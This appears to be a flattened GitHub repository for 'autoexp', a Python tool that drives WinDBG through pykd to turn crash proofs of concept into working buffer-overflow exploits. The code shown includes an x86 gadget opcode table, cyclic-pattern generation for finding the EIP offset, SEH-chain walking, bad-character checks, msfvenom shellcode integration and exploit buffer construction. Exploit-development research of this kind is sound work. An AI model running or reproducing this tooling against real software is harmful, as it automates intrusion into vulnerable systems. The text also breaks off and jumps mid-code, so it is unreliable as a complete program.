├── LICENSE.md ├── README.md ├── White Paper - Exploit generation automation with WinDBG.docx ├── autoexp.py ├── class-easyrm.py ├── class-minishare.py └── class-pcman.py /LICENSE.md: -------------------------------------------------------------------------------- 1 | Copyright (c) <2016> 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | autoexp 2 | ======= 3 | A script to automatically create a working exploit from crash PoCs. See more details in the white paper. -------------------------------------------------------------------------------- /White Paper - Exploit generation automation with WinDBG.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theevilbit/exploit_generator/ae3cc5c02c9d5e9ee091dbef04158d3bfd23330e/White Paper - Exploit generation automation with WinDBG.docx -------------------------------------------------------------------------------- /autoexp.py: -------------------------------------------------------------------------------- 1 | import pykd 2 | from pykd import * 3 | import argparse 4 | import importlib 5 | 6 | import socket, sys, struct, subprocess, os 7 | from threading import Thread 8 | from functools import wraps 9 | from time import sleep 10 | from string import uppercase, lowercase, digits 11 | 12 | METASPLOITPATH = 'c:\\metasploit-framework\\bin\\msfvenom.bat' 13 | 14 | MEM_ACCESS_EXE = { 15 | 0x10 : "PAGE_EXECUTE" , 16 | 0x20 : "PAGE_EXECUTE_READ" , 17 | 0x40 : "PAGE_EXECUTE_READWRITE" , 18 | 0x80 : "PAGE_EXECUTE_WRITECOPY" , 19 | } 20 | 21 | PAGE_SIZE = 0x1000 22 | 23 | MAX_PATTERN_LENGTH = 67600 24 | 25 | REGISTERS = ['eax','ebx','ecx','edx','esp','ebp','edi','esi'] 26 | 27 | ASM = { 28 | "PUSH EAX" : "\x50", 29 | "PUSH ECX" : "\x51", 30 | "PUSH EDX" : "\x52", 31 | "PUSH EBX" : "\x53", 32 | "PUSH ESP" : "\x54", 33 | "PUSH EBP" : "\x55", 34 | "PUSH ESI" : "\x56", 35 | "PUSH EDI" : "\x57", 36 | 37 | "POP EAX" : "\x58", 38 | "POP ECX" : "\x59", 39 | "POP EDX" : "\x5A", 40 | "POP EBX" : "\x5B", 41 | "POP ESP" : "\x5C", 42 | "POP EBP" : "\x5D", 43 | "POP ESI" : "\x5E", 44 | "POP EDI" : "\x5F", 45 | 46 | "JMP EAX" : "\xFF\xE0", 47 | "JMP ECX" : "\xFF\xE1", 48 | "JMP EDX" : "\xFF\xE2", 49 | "JMP EBX" : "\xFF\xE3", 50 | "JMP ESP" : "\xFF\xE4", 51 | "JMP EBP" : "\xFF\xE5", 52 | "JMP ESI" : "\xFF\xE6", 53 | "JMP EDI" : "\xFF\xE7", 54 | 55 | "CALL EAX" : "\xFF\xD0", 56 | "CALL ECX" : "\xFF\xD1", 57 | "CALL EDX" : "\xFF\xD2", 58 | "CALL EBX" : "\xFF\xD3", 59 | "CALL ESP" : "\xFF\xD4", 60 | "CALL EBP" : "\xFF\xD5", 61 | "CALL ESI" : "\xFF\xD6", 62 | "CALL EDI" : "\xFF\xD7", 63 | 64 | "JMP [EAX]" : "\xFF\x20", 65 | "JMP [ECX]" : "\xFF\x21", 66 | "JMP [EDX]" : "\xFF\x22", 67 | "JMP [EBX]" : "\xFF\x23", 68 | "JMP [ESP]" : "\xFF\x24", 69 | "JMP [EBP]" : "\xFF\x25", 70 | "JMP [ESI]" : "\xFF\x26", 71 | "JMP [EDI]" : "\xFF\x27", 72 | 73 | "CALL [EAX]" : "\xFF\x10", 74 | "CALL [ECX]" : "\xFF\x11", 75 | "CALL [EDX]" : "\xFF\x12", 76 | "CALL [EBX]" : "\xFF\x13", 77 | "CALL [ESP]" : "\xFF\x14", 78 | "CALL [EBP]" : "\xFF\x15", 79 | "CALL [ESI]" : "\xFF\x16", 80 | "CALL [EDI]" : "\xFF\x17", 81 | 82 | "XCHG EAX,ESP" : "\x94", 83 | "XCHG ECX,ESP" : "\x87\xCC", 84 | "XCHG EDX,ESP" : "\x87\xD4", 85 | "XCHG EBX,ESP" : "\x87\xDC", 86 | "XCHG EBP,ESP" : "\x87\xEC", 87 | "XCHG EDI,ESP" : "\x87\xFC", 88 | "XCHG ESI,ESP" : "\x87\xF4", 89 | "XCHG ESP,EAX" : "\x94", 90 | "XCHG ESP,ECX" : "\x87\xCC", 91 | "XCHG ESP,EDX" : "\x87\xD4", 92 | "XCHG ESP,EBX" : "\x87\xDC", 93 | "XCHG ESP,EBP" : "\x87\xEC", 94 | "XCHG ESP,EDI" : "\x87\xFC", 95 | "XCHG ESP,ESI" : "\x87\xF4", 96 | 97 | "PUSHAD" : "\x60", 98 | "POPAD" : "\x61", 99 | "RET" : "\xC3" 100 | } 101 | 102 | def log(msg): 103 | """ 104 | Log a message to console. 105 | @param msg: Message string 106 | @return: None 107 | """ 108 | print "[+] " + msg 109 | 110 | class ExceptionHandler(pykd.eventHandler): 111 | """ 112 | class to handle exception and events in the debugger, overriding default class 113 | """ 114 | def __init__(self): 115 | pykd.eventHandler.__init__(self) 116 | self.accessViolationOccured = False 117 | self.bOver=0 118 | 119 | def is_over(self): 120 | return self.bOver 121 | 122 | def reset(self): 123 | self.accessViolationOccured = False 124 | self.bOver=0 125 | 126 | def onException(self, exceptInfo): 127 | """ 128 | function to actually handle the exception, need to handle only if access violation occurs 129 | """ 130 | self.accessViolationOccured = exceptInfo.exceptionCode == 0xC0000005 131 | #print exceptInfo 132 | 133 | if self.accessViolationOccured: 134 | #type = exceptInfo.parameters[0] 135 | #addr = exceptInfo.parameters[1] 136 | self.bOver=1 #break caused by accessViolation, no need to track further 137 | log('EIP: ' + hex(reg('eip'))) 138 | return pykd.eventResult.Break 139 | 140 | return pykd.eventResult.NoChange 141 | 142 | 143 | #Source: https://raw.githubusercontent.com/Svenito/exploit-pattern/master/pattern.py 144 | def pattern_gen(length): 145 | """ 146 | Generate a pattern of a given length up to a maximum 147 | of X - after this the pattern would repeat 148 | X = 20280 if special chars are not used 149 | X = 67600 if special charaters are used 150 | @param length: pattern length to generate 151 | """ 152 | if length >= MAX_PATTERN_LENGTH: 153 | log('ERROR: Pattern length exceeds maximum of %d' % MAX_PATTERN_LENGTH) 154 | sys.exit(-1) 155 | 156 | pattern = '' 157 | #extended character set 158 | special = '!@#$%^&*()' 159 | for upper in uppercase: 160 | for lower in lowercase: 161 | for digit in digits: 162 | for item in special: 163 | if len(pattern) < length: 164 | pattern += upper+lower+digit+item 165 | else: 166 | out = pattern[:length] 167 | log(out) 168 | return out 169 | 170 | #Source: https://raw.githubusercontent.com/Svenito/exploit-pattern/master/pattern.py 171 | def pattern_search(search_pattern): 172 | """ 173 | Search for search_pattern in pattern. Convert from hex if needed 174 | Looking for needle in haystack 175 | @param search_pattern: pattern to serach for 176 | """ 177 | needle = search_pattern 178 | 179 | try: 180 | if needle.startswith('0x'): 181 | # Strip off '0x', convert to ASCII and reverse 182 | needle = needle[2:].decode('hex') 183 | needle = needle[::-1] 184 | except TypeError as e: 185 | log('Unable to convert hex input:', e) 186 | sys.exit(-1) 187 | 188 | haystack = '' 189 | special = '!@#$%^&*()' 190 | for upper in uppercase: 191 | for lower in lowercase: 192 | for digit in digits: 193 | for item in special: 194 | haystack += upper+lower+digit+item 195 | found_at = haystack.find(needle) 196 | if found_at > -1: 197 | log('Pattern %s first occurrence at position %d in pattern.' % 198 | (search_pattern, found_at)) 199 | return found_at 200 | 201 | log('Couldn`t find %s (%s) anywhere in the pattern.' % 202 | (search_pattern, needle)) 203 | 204 | #https://github.com/corelan/windbglib/blob/master/windbglib.py 205 | def get_seh_chain(): 206 | sehchain = [] 207 | # get top of chain 208 | teb = get_teb_address() 209 | nextrecord = ptrDWord(teb) 210 | validrecord = True 211 | while nextrecord != 0xffffffff and isValid(nextrecord): 212 | nseh = ptrDWord(nextrecord) 213 | seh = ptrDWord(nextrecord+4) 214 | sehrecord = [nextrecord,seh] 215 | sehchain.append(sehrecord) 216 | nextrecord = nseh 217 | return sehchain 218 | 219 | #https://github.com/corelan/windbglib/blob/master/windbglib.py 220 | def get_teb_info(): 221 | return typedVar("_TEB",getImplicitThread()) 222 | 223 | #https://github.com/corelan/windbglib/blob/master/windbglib.py 224 | def get_teb_address(): 225 | tebinfo = dbgCommand("!teb") 226 | if len(tebinfo) > 0: 227 | teblines = tebinfo.split("\n") 228 | tebline = teblines[0] 229 | tebparts = tebline.split(" ") 230 | if len(tebparts) > 2: 231 | return hexStrToInt(tebparts[2]) 232 | # slow 233 | teb = get_teb_info() 234 | return int(teb.Self) 235 | 236 | def get_all_chars(): 237 | """ 238 | Generate a list of all characters 239 | @return: list of characters 0x00 - 0xFF 240 | """ 241 | return [chr(i) for i in xrange(256)] 242 | 243 | def check_bad_chars_inaddr(bad_chars,address): 244 | s = struct.pack(' details[register + '_bufferspace']: 583 | log('No place for shellcode using register: ' + register + ', trying next') 584 | else: 585 | if details['jmp_to_sc_method'] == 'jmp_reg' or details['jmp_to_sc_method'] == 'call_reg': 586 | exploit.set_buffer(['A' * details['eip_offset'], struct.pack('